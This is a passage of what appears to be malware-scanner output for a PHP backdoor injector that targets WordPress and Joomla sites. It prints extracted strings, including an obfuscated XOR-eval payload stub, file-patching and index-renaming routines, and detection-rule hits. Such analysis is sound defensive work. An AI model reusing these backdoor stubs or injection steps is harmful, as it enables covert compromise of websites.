'U'=\u003e'P', 'T'=\u003e'L', 'W'=\u003e'G', 'V'=\u003e'B', 'Y'=\u003e'w', 'X'=\u003e'D', 'Z'=\u003e'9', 'a'=\u003e'c', 'c'=\u003e'J', 'b'=\u003e'W', 'e'=\u003e'7', 'd'=\u003e'E', 'g'=\u003e'u', 'f'=\u003e'v', 'i'=\u003e'1', 'h'=\u003e'n', 'k'=\u003e'l', 'j'=\u003e'Q', 'm'=\u003e'S', 'l'=\u003e'O', 'o'=\u003e'a', 'n'=\u003e'y', 'q'=\u003e'N', 'p'=\u003e'x', 's'=\u003e'd', 'r'=\u003e'e', 'u'=\u003e'j', 't'=\u003e'F', 'w'=\u003e'C', 'v'=\u003e'6', 'y'=\u003e'q', 'x'=\u003e'g', 'z'=\u003e'5');\neval/*onckyffwp*/(gzmvnpx($sgvnobsk, $vginbjwex));\n}\");",
          "source.strings[2]": "%2F%5C%28.%2A%24%2F",
          "source.strings[3]": "), '', __FILE__)));",
          "source.strings[4]": ".bak.bak",
          "source.strings[5]": ".htaccess",
          "source.strings[6]": "/*$str1*/$match/*$str2*/",
          "source.strings[7]": "0123456789abcdefghijklmnopqrstuvwxyz",
          "source.strings[8]": "24.24.60.74",
          "source.strings[9]": ";eval(rawurldecode(",
          "source.has_imports": true,
          "source.imports[10]": "file_get_contents",
          "source.imports[11]": "file_put_contents",
          "source.imports[12]": "in_array",
          "source.imports[13]": "is_dir",
          "source.imports[14]": "is_file",
          "source.imports[15]": "is_writable",
          "source.imports[16]": "md5",
          "source.imports[17]": "mt_rand",
          "source.imports[18]": "opendir",
          "source.imports[19]": "ord",
          "source.imports[20]": "preg_quote",
          "source.imports[21]": "preg_replace",
          "source.imports[22]": "preg_replace_callback",
          "source.imports[23]": "rand",
          "source.imports[24]": "rawurldecode",
          "source.imports[25]": "rawurlencode",
          "source.imports[26]": "readdir",
          "source.imports[27]": "rename",
          "source.imports[28]": "serialize",
          "source.imports[29]": "shuffle",
          "source.imports[30]": "srand",
          "source.imports[31]": "str_repeat",
          "source.imports[32]": "str_replace",
          "source.imports[33]": "str_shuffle",
          "source.imports[34]": "stripos",
          "source.imports[35]": "strlen",
          "source.imports[36]": "strpos",
          "source.imports[37]": "strrpos",
          "source.imports[38]": "substr",
          "source.imports[39]": "substr_count",
          "source.imports[40]": "time",
          "source.imports[41]": "touch",
          "source.imports[42]": "unlink",
          "source.imports[43]": "usort",
          "source.strings[10]": "?php\\n\\n",
          "source.strings[11]": "?php\\n\\n\\n\\n",
          "source.strings[12]": "?php\\n\\n\\n\\n?",
          "source.strings[13]": "?php\\n\\n\\necho @file_get_contents('index.htm.bak.bak');",
          "source.strings[14]": "?php\\n\\n\\necho @file_get_contents('index.html.bak.bak');",
          "source.strings[15]": "@assert(",
          "source.strings[16]": "@include ",
          "source.strings[17]": "@include \\",
          "source.strings[18]": "DOCUMENT_ROOT",
          "source.strings[19]": "HTTP_HOST",
          "source.strings[20]": "REQUEST_URI",
          "source.strings[21]": "SCRIPT_FILENAME",
          "source.strings[22]": "[.\\\\s\\\\S]*",
          "source.strings[23]": "[PAYLOAD]",
          "source.strings[24]": "\\$data",
          "source.strings[25]": "\\$key = basename(trim(preg_replace(rawurldecode(\\\"%2F%5C%28.%2A%24%2F\\\"), '', __FILE__)));\\$data = \\\"[PAYLOAD]\\\";eval(rawurldecode(\\$data) ^ substr(str_repeat(\\$key, (strlen(\\$data)/strlen(\\$key)) + 1), 0, strlen(\\$data)));",
          "source.strings[26]": "\\$user_auth_cookie",
          "source.strings[27]": "\\\\\"));",
          "source.strings[28]": "_JEXEC",
          "source.strings[29]": "administrator",
          "source.strings[30]": "cant dump payload",
          "source.strings[31]": "components",
          "source.strings[32]": "data = ",
          "source.strings[33]": "data) ^ substr(str_repeat(",
          "source.strings[34]": "data)));",
          "source.strings[35]": "data)/strlen(",
          "source.strings[36]": "echo @file_get_contents('index.htm.bak.bak');",
          "source.strings[37]": "echo @file_get_contents('index.html.bak.bak');",
          "source.strings[38]": "eval(rawurldecode(",
          "source.strings[39]": "eval(rawurldecode(\\\\\"",
          "source.strings[40]": "http://",
          "source.strings[41]": "images",
          "source.strings[42]": "include",
          "source.strings[43]": "includes",
          "source.strings[44]": "includes/framework.php",
          "source.strings[45]": "index created",
          "source.strings[46]": "index.htm",
          "source.strings[47]": "index.html",
          "source.strings[48]": "index.php",
          "source.strings[49]": "key = basename(trim(preg_replace(rawurldecode(",
          "source.strings[50]": "key)) + 1), 0, strlen(",
          "source.strings[51]": "key, (strlen(",
          "source.strings[52]": "language",
          "source.strings[53]": "last_error",
          "source.strings[54]": "libraries",
          "source.strings[55]": "libraries/import.php",
          "source.strings[56]": "match_exclude_list",
          "source.strings[57]": "modules",
          "source.strings[58]": "no index",
          "source.strings[59]": "plugins",
          "source.strings[60]": "private $_stub = \"\\$key = basename(trim(preg_replace(rawurldecode(\\\"/\\(.*$/\\\"), '', __FILE__)));\\$data = \\\"[PAYLOAD]\\\";eval(rawurldecode(\\$data) ^ substr(str_repeat(\\$key, (strlen(\\$data)/strlen(\\$key)) + 1), 0, strlen(\\$data)));\";",
          "source.strings[61]": "replacer35354",
          "source.strings[62]": "templates",
          "source.strings[63]": "unwritable for patch",
          "source.strings[64]": "user_auth_cookie",
          "source.strings[65]": "wp-admin",
          "source.strings[66]": "wp-blog-header.php",
          "source.strings[67]": "wp-config.php",
          "source.strings[68]": "wp-content",
          "source.strings[69]": "wp-includes",
          "source.strings[70]": "wp-settings.php",
          "source.functions[0]": "__construct",
          "source.functions[1]": "_dump_backdoor",
          "source.functions[2]": "_encode_payload",
          "source.functions[3]": "_fix_index_php",
          "source.functions[4]": "_gen_stub",
          "source.functions[5]": "_patch_cms",
          "source.functions[6]": "_patch_file",
          "source.functions[7]": "_patch_index",
          "source.functions[8]": "_preprocess_one",
          "source.functions[9]": "_process_one",
          "source.functions[10]": "_try_create_index",
          "source.functions[11]": "csort",
          "source.functions[12]": "find_paths",
          "source.functions[13]": "fix_rights",
          "source.functions[14]": "fix_time",
          "source.functions[15]": "gen_space_string",
          "source.functions[16]": "generate",
          "source.functions[17]": "get_cscripts",
          "source.functions[18]": "get_docroot",
          "source.functions[19]": "insert_in_head",
          "source.functions[20]": "last_error",
          "source.functions[21]": "match_exclude_list",
          "source.functions[22]": "morph_php_str",
          "source.functions[23]": "morph_str",
          "source.functions[24]": "preprocess_paths",
          "source.functions[25]": "process",
          "source.functions[26]": "rand_str",
          "source.functions[27]": "replacer35354",
          "source.functions[28]": "walk_dir"
        },
        "x": 111,
        "id": 0,
        "is": [
          "srand",
          "time",
          "rand",
          "substr",
          "str_shuffle",
          "str_repeat",
          "ceil",
          "strlen",
          "str_replace",
          "str_replace",
          "preg_replace_callback",
          "preg_replace_callback",
          "substr",
          "str_repeat",
          "strlen",
          "strlen",
          "strlen",
          "rawurlencode",
          "array_merge",
          "array_unique",
          "strlen",
          "strlen",
          "strpos",
          "array_filter",
          "usort",
          "in_array",
          "substr",
          "strlen",
          "substr",
          "strlen",
          "file_put_contents",
          "file_get_contents",
          "strpos",
          "file_exists",
          "file_exists",
          "file_exists",
          "file_exists",
          "file_exists",
          "file_exists",
          "file_exists",
          "rename",
          "file_exists",
          "rename",
          "file_exists",
          "rename",
          "file_put_contents",
          "file_exists",
          "rename",
          "file_exists",
          "rename",
          "file_put_contents",
          "file_put_contents",
          "file_exists",
          "file_get_contents",
          "stripos",
          "file_put_contents",
          "shuffle",
          "is_writable",
          "rawurldecode",
          "substr",
          "md5",
          "time",
          "file_put_contents",
          "is_file",
          "file_exists",
          "file_get_contents",
          "strpos",
          "strpos",
          "count",
          "shuffle",
          "count",
          "is_writable",
          "opendir",
          "readdir",
          "is_dir",
          "array_merge",
          "closedir",
          "chmod",
          "touch",
          "time",
          "mt_rand",
          "strpos",
          "explode",
          "strrpos",
          "substr",
          "str_replace",
          "rand",
          "strlen",
          "decoct",
          "ord",
          "strlen",
          "substr",
          "md5",
          "file_get_contents",
          "substr_count",
          "str_replace",
          "strpos",
          "preg_quote",
          "preg_quote",
          "preg_replace",
          "file_put_contents",
          "stripos",
          "stripos",
          "strlen",
          "strlen",
          "preg_quote",
          "preg_replace",
          "file_put_contents",
          "file_get_contents",
          "strpos",
          "count",
          "unlink",
          "serialize"
        ],
        "ms": {
          "file": {
            "size": 40617.0
          },
          "text": {
            "digit_ratio": 0.47,
            "space_count": 4793.0,
            "total_lines": 568.0,
            "char_entropy": 4.92,
            "unique_chars": 94.0,
            "import_density": 19.89,
            "lines_over_200": 3.0,
            "lines_over_500": 1.0,
            "string_density": 0.53,
            "avg_line_length": 70.51,
            "lines_over_1000": 1.0,
            "max_line_length": 24390.0,
            "empty_line_ratio": 0.18,
            "last_line_length": 7.0,
            "long_token_count": 1.0,
            "most_common_char": "%",
            "whitespace_ratio": 0.13,
            "most_common_ratio": 0.12,
            "identifier_density": 1.22,
            "line_length_stddev": 1021.77,
            "encoded_string_ratio": 0.01,
            "normalized_import_count": 4.74,
            "normalized_string_count": 12.71,
            "repeated_char_sequences": 148.0,
            "suspicious_string_ratio": 0.01,
            "max_inline_whitespace_run": 2.0,
            "normalized_function_count": 1.26,
            "imports_to_functions_ratio": 3.77,
            "strings_to_functions_ratio": 10.1,
            "suspicious_identifier_ratio": 0.05,
            "normalized_unique_identifiers": 16.83,
            "identifiers_to_functions_ratio": 5.13
          },
          "imports": {
            "total": 113.0,
            "unique_modules": 44.0,
            "third_party_count": 113.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 303.0,
            "url_count": 4.0,
            "avg_length": 168.36,
            "max_length": 24358.0,
            "path_count": 5.0,
            "avg_entropy": 1.69,
            "email_count": 4.0,
            "total_bytes": 51014.0,
            "entropy_stddev": 1.42,
            "very_long_strings": 2.0,
            "high_entropy_count": 3.0,
            "url_encoded_strings": 4.0,
            "embedded_code_candidates": 4.0
          },
          "comments": {
            "chars": 78.0,
            "lines": 2.0,
            "total": 2.0,
            "to_code_ratio": 0.0
          },
          "functions": {
            "total": 30.0,
            "length_stddev": 14.83,
            "avg_name_length": 11.57,
            "no_params_count": 30.0,
            "avg_length_lines": 17.5,
            "max_length_lines": 59.0,
            "min_length_lines": 3.0,
            "avg_nesting_depth": 0.1,
            "max_nesting_depth": 1.0,
            "high_entropy_names": 1.0,
            "density_per_100_lines": 5.28,
            "code_in_functions_ratio": 0.92
          },
          "identifiers": {
            "total": 695.0,
            "avg_length": 8.9,
            "max_length": 22.0,
            "min_length": 1.0,
            "avg_entropy": 2.58,
            "reuse_ratio": 0.22,
            "unique_count": 154.0,
            "length_stddev": 4.7,
            "has_digit_ratio": 0.04,
            "sequential_names": 6.0,
            "base64_like_names": 1.0,
            "single_char_count": 6.0,
            "single_char_ratio": 0.04,
            "high_entropy_count": 1.0,
            "high_entropy_ratio": 0.01,
            "all_lowercase_ratio": 0.95,
            "all_uppercase_ratio": 0.01,
            "numeric_suffix_count": 6.0,
            "underscore_prefix_count": 22.0
          }
        },
        "ss": [
          [
            95,
            "\\$key = basename(trim(preg_replace(rawurldecode(\\\"%2F%5C%28.%2A%24%2F\\\"), '', __FILE__)));\\$data = \\\"[PAYLOAD]\\\";eval(rawurldeco"
          ],
          [
            98,
            "key = basename(trim(preg_replace(rawurldecode("
          ],
          [
            146,
            "%2F%5C%28.%2A%24%2F"
          ],
          [
            167,
            "), '', __FILE__)));"
          ],
          [
            188,
            "data = "
          ],
          [
            197,
            "[PAYLOAD]"
          ],
          [
            208,
            ";eval(rawurldecode("
          ],
          [
            229,
            "data) ^ substr(str_repeat("
          ],
          [
            257,
            "key, (strlen("
          ],
          [
            272,
            "data)/strlen("
          ],
          [
            287,
            "key)) + 1), 0, strlen("
          ],
          [
            311,
            "data)));"
          ],
          [
            462,
            "0123456789abcdefghijklmnopqrstuvwxyz"
          ],
          [
            463,
            "0123456789abcdefghijklmnopqrstuvwxyz"
          ],
          [
            747,
            "[PAYLOAD]"
          ],
          [
            748,
            "[PAYLOAD]"
          ],
          [
            868,
            "\\$key"
          ],
          [
            871,
            "key"
          ],
          [
            877,
            "\\$data"
          ],
          [
            880,
            "data"
          ],
          [
            914,
            "\\$_"
          ],
          [
            917,
            "_"
          ],
          [
            950,
            "\\$_"
          ],
          [
            953,
            "_"
          ],
          [
            1248,
            "/*$str1*/$match/*$str2*/"
          ],
          [
            1249,
            "/*"
          ],
          [
            1256,
            "*/"
          ],
          [
            1264,
            "/*"
          ],
          [
            1271,
            "*/"
          ],
          [
            1325,
            "|\\(|"
          ],
          [
            1326,
            "|\\(|"
          ],
          [
            1333,
            "replacer35354"
          ],
          [
            1334,
            "replacer35354"
          ],
          [
            1396,
            "|\\)|"
          ],
          [
            1397,
            "|\\)|"
          ],
          [
            1404,
            "replacer35354"
          ],
          [
            1405,
            "replacer35354"
          ],
          [
            2634,
            "wp-content"
          ],
          [
            2635,
            "wp-content"
          ],
          [
            2648,
            "wp-admin"
          ],
          [
            2649,
            "wp-admin"
          ],
          [
            2660,
            "wp-includes"
          ],
          [
            2661,
            "wp-includes"
          ],
          [
            2675,
            "administrator"
          ],
          [
            2676,
            "administrator"
          ],
          [
            2692,
            "cache"
          ],
          [
            2693,
            "cache"
          ],
          [
            2701,
            "components"
          ],
          [
            2702,
            "components"
          ],
          [
            2715,
            "images"
          ],
          [
            2716,
            "images"
          ],
          [
            2725,
            "includes"
          ],
          [
            2726,
            "includes"
          ],
          [
            2737,
            "language"
          ],
          [
            2738,
            "language"
          ],
          [
            2749,
            "libraries"
          ],
          [
            2750,
            "libraries"
          ],
          [
            2762,
            "media"
          ],
          [
            2763,
            "media"
          ],
          [
            2771,
            "modules"
          ],
          [
            2772,
            "modules"
          ],
          [
            2782,
            "plugins"
          ],
          [
            2783,
            "plugins"
          ],
          [
            2793,
            "templates"
          ],
          [
            2794,
            "templates"
          ],
          [
            3112,
            "match_exclude_list"
          ],
          [
            3113,
            "match_exclude_list"
          ],
          [
            3170,
            "csort"
          ],
          [
            3171,
            "csort"
          ],
          [
            3806,
            "include"
          ],
          [
            3807,
            "include"
          ],
          [
            3846,
            "patch"
          ],
          [
            3847,
            "patch"
          ],
          [
            3893,
            "HTTP_HOST"
          ],
          [
            3894,
            "HTTP_HOST"
          ],
          [
            4077,
            "include"
          ],
          [
            4078,
            "include"
          ],
          [
            4092,
            "http://"
          ],
          [
            4093,
            "http://"
          ],
          [
            4112,
            "/"
          ],
          [
            4113,
            "/"
          ],
          [
            4254,
            "patch"
          ],
          [
            4255,
            "patch"
          ],
          [
            4267,
            "http://"
          ],
          [
            4268,
            "http://"
          ],
          [
            4287,
            "/"
          ],
          [
            4288,
            "/"
          ],
          [
            4825,
            "\u003c"
          ],
          [
            4826,
            "\u003c"
          ],
          [
            4830,
            "?php\\n\\n"
          ],
          [
            4831,
            "?php"
          ],
          [
            4924,
            "php"
          ],
          [
            4925,
            "php"
          ],
          [
            5036,
            "index created"
          ],
          [
            5037,
            "index created"
          ],
          [
            5315,
            "/"
          ],
          [
            5316,
            "/"
          ],
          [
            5321,
            "index.html"
          ],
          [
            5322,
            "index.html"
          ],
          [
            5364,
            "/"
          ],
          [
            5365,
            "/"
          ],
          [
            5370,
            "index.htm"
          ],
          [
            5371,
            "index.htm"
          ],
          [
            5412,
            "/"
          ],
          [
            5413,
            "/"
          ],
          [
            5418,
            "index.php"
          ],
          [
            5419,
            "index.php"
          ],
          [
            5459,
            "/"
          ],
          [
            5460,
            "/"
          ],
          [
            5465,
            ".htaccess"
          ],
          [
            5466,
            ".htaccess"
          ],
          [
            5648,
            "no index"
          ],
          [
            5649,
            "no index"
          ],
          [
            6039,
            ".bak.bak"
          ],
          [
            6040,
            ".bak.bak"
          ],
          [
            6127,
            ".bak.bak"
          ],
          [
            6128,
            ".bak.bak"
          ],
          [
            6250,
            ".bak.bak"
          ],
          [
            6251,
            ".bak.bak"
          ],
          [
            6306,
            "\u003c"
          ],
          [
            6307,
            "\u003c"
          ],
          [
            6311,
            "?php\\n\\n\\necho @file_get_contents('index.html.bak.bak');"
          ],
          [
            6312,
            "?php"
          ],
          [
            6322,
            "echo @file_get_contents('index.html.bak.bak');"
          ],
          [
            6447,
            ".bak.bak"
          ],
          [
            6448,
            ".bak.bak"
          ],
          [
            6567,
            ".bak.bak"
          ],
          [
            6568,
            ".bak.bak"
          ],
          [
            6623,
            "\u003c"
          ],
          [
            6624,
            "\u003c"
          ],
          [
            6628,
            "?php\\n\\n\\necho @file_get_contents('index.htm.bak.bak');"
          ],
          [
            6629,
            "?php"
          ],
          [
            6639,
            "echo @file_get_contents('index.htm.bak.bak');"
          ],
          [
            6764,
            "\u003c"
          ],
          [
            6765,
            "\u003c"
          ],
          [
            6770,
            "?php\\n\\n\\n\\n"
          ],
          [
            6771,
            "?php"
          ],
          [
            7052,
            "\u003c"
          ],
          [
            7053,
            "\u003c"
          ],
          [
            7058,
            "?php"
          ],
          [
            7059,
            "?php"
          ],
          [
            7202,
            "\u003c"
          ],
          [
            7203,
            "\u003c"
          ],
          [
            7208,
            "?php\\n\\n\\n\\n?"
          ],
          [
            7209,
            "?php"
          ],
          [
            7221,
            "?"
          ],
          [
            7226,
            "\u003e\\n\\n"
          ],
          [
            7227,
            "\u003e"
          ],
          [
            7981,
            "."
          ],
          [
            7982,
            "."
          ],
          [
            8015,
            ".ico"
          ],
          [
            8016,
            ".ico"
          ],
          [
            8074,
            "/"
          ],
          [
            8075,
            "/"
          ],
          [
            8119,
            "\u003c"
          ],
          [
            8120,
            "\u003c"
          ],
          [
            8125,
            "?php"
          ],
          [
            8126,
            "?php"
          ],
          [
            8134,
            "\\n"
          ],
          [
            8172,
            "\\n"
          ],
          [
            8467,
            "cant dump payload"
          ],
          [
            8468,
            "cant dump payload"
          ],
          [
            8891,
            "\\n"
          ],
          [
            8896,
            "@include \\"
          ],
          [
            8897,
            "@include "
          ],
          [
            8929,
            "\\\";\\n"
          ],
          [
            8932,
            ";"
          ],
          [
            9356,
            "unwritable for patch"
          ],
          [
            9357,
            "unwritable for patch"
          ],
          [
            9506,
            "/"
          ],
          [
            9507,
            "/"
          ],
          [
            9512,
            "index.php"
          ],
          [
            9513,
            "index.php"
          ],
          [
            9696,
            "/"
          ],
          [
            9697,
            "/"
          ],
          [
            9702,
            "index.php"
          ],
          [
            9703,
            "index.php"
          ],
          [
            9816,
            "wp-blog-header.php"
          ],
          [
            9817,
            "wp-blog-header.php"
          ],
          [
            9900,
            "/"
          ],
          [
            9901,
            "/"
          ],
          [
            9906,
            "wp-settings.php"
          ],
          [
            9907,
            "wp-settings.php"
          ],
          [
            9933,
            "/"
          ],
          [
            9934,
            "/"
          ],
          [
            9939,
            "wp-config.php"
          ],
          [
            9940,
            "wp-config.php"
          ],
          [
            10011,
            "_JEXEC"
          ],
          [
            10012,
            "_JEXEC"
          ],
          [
            10083,
            "/"
          ],
          [
            10084,
            "/"
          ],
          [
            10089,
            "libraries/import.php"
          ],
          [
            10090,
            "libraries/import.php"
          ],
          [
            10121,
            "/"
          ],
          [
            10122,
            "/"
          ],
          [
            10127,
            "includes/framework.php"
          ],
          [
            10128,
            "includes/framework.php"
          ],
          [
            11138,
            "."
          ],
          [
            11139,
            "."
          ],
          [
            11151,
            ".."
          ],
          [
            11152,
            ".."
          ],
          [
            11240,
            "$dir/$f"
          ],
          [
            11245,
            "/"
          ],
          [
            12125,
            "REQUEST_URI"
          ],
          [
            12126,
            "REQUEST_URI"
          ],
          [
            12141,
            "?"
          ],
          [
            12142,
            "?"
          ],
          [
            12202,
            "?"
          ],
          [
            12203,
            "?"
          ],
          [
            12216,
            "REQUEST_URI"
          ],
          [
            12217,
            "REQUEST_URI"
          ],
          [
            12346,
            "REQUEST_URI"
          ],
          [
            12347,
            "REQUEST_URI"
          ],
          [
            12413,
            "SCRIPT_FILENAME"
          ],
          [
            12414,
            "SCRIPT_FILENAME"
          ],
          [
            12526,
            "DOCUMENT_ROOT"
          ],
          [
            12527,
            "DOCUMENT_ROOT"
          ],
          [
            12619,
            "/"
          ],
          [
            12620,
            "/"
          ],
          [
            12696,
            "SCRIPT_FILENAME"
          ],
          [
            12697,
            "SCRIPT_FILENAME"
          ],
          [
            12772,
            "\\\\"
          ],
          [
            12778,
            "/"
          ],
          [
            12779,
            "/"
          ],
          [
            13010,
            "\\\\"
          ],
          [
            13032,
            "\\"
          ],
          [
            13126,
            "\\\\\\\\"
          ],
          [
            13165,
            "0"
          ],
          [
            13166,
            "0"
          ],
          [
            13430,
            " "
          ],
          [
            13431,
            " "
          ],
          [
            13552,
            "\\$user_auth_cookie"
          ],
          [
            13555,
            "user_auth_cookie"
          ],
          [
            13627,
            "eval(rawurldecode(\\\\\""
          ],
          [
            13628,
            "eval(rawurldecode("
          ],
          [
            13663,
            "\\\\\"));"
          ],
          [
            13666,
            "));"
          ],
          [
            13763,
            " = \""
          ],
          [
            13764,
            " = "
          ],
          [
            13790,
            "\";"
          ],
          [
            13791,
            ";"
          ],
          [
            13797,
            "\\n"
          ],
          [
            13835,
            "@assert("
          ],
          [
            13836,
            "@assert("
          ],
          [
            13873,
            ");"
          ],
          [
            13874,
            ");"
          ],
          [
            14007,
            "/*"
          ],
          [
            14008,
            "/*"
          ],
          [
            14041,
            "*/"
          ],
          [
            14042,
            "*/"
          ],
          [
            14067,
            "\\n"
          ],
          [
            14100,
            "\\n"
          ],
          [
            14118,
            "\\n"
          ],
          [
            14473,
            "/"
          ],
          [
            14474,
            "/"
          ],
          [
            14515,
            "/"
          ]
        ],
        "sz": 40617,
        "ts": [
          {
            "c": 1.0,
            "d": "backdoor keyword",
            "e": [
              "backdoor"
            ],
            "i": "micro-behaviors/data/text/malware/terms::backdoor-word",
            "l": 2
          },
          {
            "a": "T1546",
            "c": 1.0,
            "d": "Writes data to a file via functions",
            "e": [
              "file_put_contents("
            ],
            "i": "micro-behaviors/fs/file/write/direct::php-file-write-func",
            "l": 2
          },
          {
            "c": 0.8399999737739563,
            "d": "Regex component marker",
            "e": [
              "user_auth_cookie",
              "\\$user_auth_cookie"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-9",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Sequential source identifier names",
            "e": [
              "identifiers.sequential_names = 6.00"
            ],
            "i": "metadata/file/text/profile::sequential-identifiers",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.6499999761581421,
            "d": "serialize/unserialize for object serialization",
            "e": [
              "serialize("
            ],
            "i": "objectives/anti-static/obfuscation/encoding/xor::serialize-call",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1083",
            "c": 1.0,
            "d": "Iterate directory contents via functions in PHP",
            "e": [
              "opendir("
            ],
            "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn",
            "l": 2
          },
          {
            "c": 1.0,
            "d": "PHP unlink function symbol",
            "e": [
              "unlink"
            ],
            "i": "micro-behaviors/fs/delete/file::php-unlink",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.699999988079071,
            "d": "PHP error suppression operator usage",
            "e": [
              "@file_put_contents($index_php, \"\u003c\". \"?php\\n\\n\")",
              "@file_get_contents($index_php)",
              "@rename($index_html, $index_html . \".bak.bak\")",
              "@file_exists($index_php)",
              "@rename($index_htm, $index_htm . \".bak.bak\")",
              "@file_exists($index_htm)",
              "@file_exists($path)",
              "@file_put_contents($index_php, \"\u003c\". \"?php\\n\\n\\necho @file_get_contents('index.html.bak.bak');\")",
              "@file_exists($index_html)",
              "@file_exists($htaccess)"
            ],
            "i": "micro-behaviors/os/stdio::error-suppress-prefix",
            "l": 3
          },
          {
            "c": 0.75,
            "d": "Generic $_SERVER superglobal access",
            "e": [
              "$_SERVER"
            ],
            "i": "micro-behaviors/communications/http/request/params::server-dup",
            "l": 3
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1486",
            "c": 0.4000000059604645,
            "d": "rename( function",
            "e": [
              "rename("
            ],
            "i": "objectives/impact/ransom/tactics::rename-fn",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "file_get_contents"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "$_SERVER["
            ],
            "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.75,
            "d": "Many no-param functions",
            "e": [
              "functions.no_params_count = 30.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.9200000166893005,
            "d": "Regex component marker",
            "e": [
              "HOST"
            ],
            "i": "objectives/anti-static/obfuscation/payload/config::url-component-concat--rx-12",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 24390.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1059",
            "c": 0.800000011920929,
            "d": "Self-reference via __FILE__",
            "e": [
              "__FILE__"
            ],
            "i": "micro-behaviors/fs/read/self::self-file-reference",
            "l": 3
          },
          {
            "c": 0.699999988079071,
            "d": "Backdoor payload marker",
            "e": [
              "backdoor_payload"
            ],
            "i": "objectives/command-and-control/beacon/label::backdoor-payload-marker",
            "l": 4
          },
          {
            "a": "T1505.003",
            "c": 1.0,
            "d": "Inequality check in WordPress user list",
            "e": [
              "!="
            ],
            "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 24358.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 1.0,
            "d": "administrator role reference",
            "e": [
              "administrator"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-count-manipulation-admin",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.699999988079071,
            "d": "MD5 hash computation",
            "e": [
              "md5"
            ],
            "i": "micro-behaviors/crypto/hash/digest::md5-php",
            "l": 3,
            "m": "C0029"
          },
          {
            "c": 0.75,
            "d": "File read via file_get_contents",
            "e": [
              "echo @file_get_contents('index.htm.bak.bak');",
              "?php\\n\\n\\necho @file_get_contents('index.htm.bak.bak');",
              "echo @file_get_contents('index.html.bak.bak');",
              "?php\\n\\n\\necho @file_get_contents('index.html.bak.bak');"
            ],
            "i": "micro-behaviors/fs/read/file::file-get-contents",
            "l": 2,
            "m": "C0051"
          },
          {
            "c": 0.8199999928474426,
            "d": "wp-config.php path reference",
            "e": [
              "wp-config.php"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::wp-config-path",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "PHP object serialization",
            "e": [
              "serialize"
            ],
            "i": "micro-behaviors/data/serialize/object::serialize",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports file_put_contents",
            "e": [
              "[array_filter, array_merge, array_unique, ceil, chmod, closedir, count, decoct, explode, file_exists, file_get_contents, file_pu"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 568.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.800000011920929,
            "d": "Creates or overwrites a local file",
            "e": [
              "file_put_contents"
            ],
            "i": "micro-behaviors/fs/write/file/direct::file-put-contents",
            "l": 3,
            "m": "C0052"
          },
          {
            "a": "T1110.001",
            "c": 0.20000000298023224,
            "d": "admin keyword",
            "e": [
              "admin"
            ],
            "i": "micro-behaviors/data/text/keywords/username::admin-keyword",
            "l": 2,
            "m": "B0028"
          },
          {
            "a": "T1505.003",
            "c": 0.9599999785423279,
            "d": "md5 time short PHP drop name",
            "e": [
              "substr(md5(time()), 0, 8)"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/archive::md5-time-php-drop-name",
            "l": 4,
            "m": "B0030"
          },
          {
            "a": "T1620",
            "c": 0.800000011920929,
            "d": "memfd_create syscall number (319 or 279)",
            "e": [
              "279"
            ],
            "i": "objectives/evasion/fileless/memory::memfd_create-syscall-number",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.7799999713897705,
            "d": "Regex component marker",
            "e": [
              "backdoor"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/self-label::webshell-admin-terms--rx-17",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.800000011920929,
            "d": "Detects PHP rename file recreation call",
            "e": [
              "rename"
            ],
            "i": "objectives/impact/infect/script::php-rename-call",
            "l": 1
          },
          {
            "a": "T1222",
            "c": 0.699999988079071,
            "d": "Changes file permissions via chmod()",
            "e": [
              "chmod"
            ],
            "i": "micro-behaviors/fs/chmod/modify::chmod-call",
            "l": 3
          },
          {
